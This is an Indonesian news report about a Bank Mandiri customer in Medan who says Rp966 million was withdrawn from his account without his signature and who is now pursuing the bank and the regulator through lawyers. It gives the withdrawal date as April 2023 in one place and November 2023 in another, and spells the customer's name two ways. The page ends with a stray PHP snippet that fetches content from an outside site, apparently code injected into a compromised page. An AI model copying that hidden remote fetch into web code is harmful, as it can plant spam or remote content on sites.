Nasabah Bank Mandiri Kecewa Uang Raib Rp.966 Juta

Kamis, 2 Mei 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Medan | Jejakkasus.info – Seorang nasabah bank Mandiri di Medan, Azwar Abdullah Abdilili SH, tidak hanya kecewa karena uang di rekeningnya raib sebesar Rp966 juta. Ia juga akan menempuh jalur hukum. Pasalnya, ia tidak pernah menandatangani slip penarikan uang sebanyak tiga kali yakni pertama Rp50 juta, kedua Rp400 juta dan ketiga Rp516 juta.

Uang tersebut raib dari tabungan karena dilakukan penarikan dana tanpa ada persetujuan pemilik rekening. Azwar Abdullah Abdilili SH, pengguna M- Banking maka ketika mengetahui dari notifikasi melalui pesan di ponsel miliknya. Ada 3 kali notifikasi pesan transaksi.

Hal ini disampaikan Azwar Abdullah Abdilili SH kepada Ketua DPW Ikatan Wartawan Online Indonesia (DPW IWOI) Sumatera Utara, Ratno SH, MM di Medan, Selasa (01/05/2024) malam.

Lebihlanjut dikatakanya, ia tidak melakukan penarikan dana di KCP Bank Mega Business Center sebesar Rp966 juta dengan tiga kali transaksi penarikan. Korban melihat ada indikasi kejahatan oknum tertentu untuk mendapatkan keuntungan.

Baca Juga:  Kampanye Pasangan No Urut 2 Prabowo-Gibran Kuasai Simpang Lima Semarang-Jawa Tengah

“Artinya saya minta Direktur Utama Bank Mandiri maupun Kepala Kantor Wilayah serta pihak Otoritas Jasa Keuangan segera mengambil sikap dan tindakan tegas. Saya menduga ada oknum nakal yang melakukan azas manfaat,” ujar korban.

“Saya tidak mengajukan dan tidak menandatangani slip penarikan uang sebanyak tiga kali transaksi. Tapi ternyata ada tiga kali pesan masuk di ponsel saya notifikasi transaksi,” ujarnya penuh keheranan dan kecewa.

Sebelumnya, ia menjelaskan bahwa melalui kuasa hukumnya telah menyurati Kepala Cabang PT. Bank Mandiri Mega Business Center Jln Ring Road, Medan Sunggal. Sesuai Surat Nomor : 03/Ad. E/S/1/2024. Perihal mohon penjelasan atas adanya tarik tunai pada tanggal 13 April 2023 sebesar Rp966 juta dengan tiga kali tarik pada hari yang sama dimana dana tersebut sudah terpotong saldo direkening.

Baca Juga:  Pemko Gunungsitoli Gelar Upacara HUT Ke 79 RI

Disampaikan Hj. Erlina, SH dan Syarifahta Sembiring, SH selaku kuasa hukum dari Anwar Abdullah Abdilli, SH (64), berdasarkan surat kuasa tertanggal 15 Nopember 2023, untuk memohon penjelasan dan mengurus permasalahan yang merupakan Nasabah Bapak di Bank Mandiri Cabang Mega Buseness Center dengan Nomor Rekening 1170 – 0054 – 1XXXX.

Pada tanggal 13 Nopember 2023 klien kami ada tarik tunai sebanyak 3 (Tiga) kali dalam waktu yang sama senilai Rp966 juta, yang mana penarikan pertama sebesar Rp50 juta, penarikan kedua sebesar Rp400 juta dan ketiga sebesar Rp516 juta.

“Kondisi klien kami tidak sehat pada waktu itu sehingga buru-buru pulang sehingga tidak sempat mengambil uang tunai tersebut,” tutur Penasehat hukum secara tertulis.

Ternyata, ujarnya lagi, uang sebesar Rp966 juta tersebut sudah terpotong. Adapun uang tersebut berasal dari penjualan tanah milik Klien kami dimana uang penjualan sudah masuk ke Bank Mandiri KCP Mega Business Center atas Rekening Klien kami bernama Azwar Abdullah Abdilli, SH sebesar Rp4.700.000.000, dari PT. STJ dan seketika itu juga uang keluar tarik tunai sebesar Rp966.000.000.

Baca Juga:  Memasuki Tahap Kampanye, Kapolres Situbondo Tekankan Kembali Netralitas dalam Pilkada

“Kami mohon penjelasan atas permasalahan tersebut kepada siapa dana tersebut di serahkan karena sudah terpotong di rekening saya,” tegas korban.

Kedua kuasa hukum korban sudah minta penjelasan kepada bank terkait termasuk OJK. Anehnya, pihak Termohon belum mau memberikan penjelasan kepada klien kami, ungkapnya sesuai surat di Medan, 08 Januari 2024.

Hingga berita ini dilansir, Kepala Cabang Bank Mandiri Mega Business Center maupun Kanwil termasuk OJK belum berhasil dikonfirmasi.

(Kaperwil Sumut)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kunjungan Kepala Dinas Pendidikan Provinsi Jatim Ke Kabupaten Jombang
Tambang Galian C Desa Tugu, Kecamatan Wates, Kabupaten Kediri dalam Monitoring Ketua Umum LSM Gimicak
Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja
Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat
Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras
Rayon Barat Polresta Sidoarjo Apel Bersama Oprasi Cooling System Tahun 2024 .
Wahyudi Dengan Tegas Menolak Kebijakan Pemerintah Yang Menaikan E Retribusi Di Situasi-Kondisi Pasar Sepi Dan Memprihatinkan Saat Ini
Waka II DPRD Badung I Made Wijaya Soroti: Peraturan Berbenturan,Nasib Tanah Negara Di Pererenan Menggantung

Berita Terkait

Jumat, 4 Oktober 2024 - 20:42 WIB

Kunjungan Kepala Dinas Pendidikan Provinsi Jatim Ke Kabupaten Jombang

Jumat, 4 Oktober 2024 - 20:06 WIB

Tambang Galian C Desa Tugu, Kecamatan Wates, Kabupaten Kediri dalam Monitoring Ketua Umum LSM Gimicak

Jumat, 4 Oktober 2024 - 11:38 WIB

Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja

Jumat, 4 Oktober 2024 - 00:48 WIB

Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat

Jumat, 4 Oktober 2024 - 00:47 WIB

Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras

Berita Terbaru

Berita Utama

Kapolres Pringsewu Serukan Pilkada Damai Tanpa Diskriminasi

Jumat, 4 Okt 2024 - 19:31 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>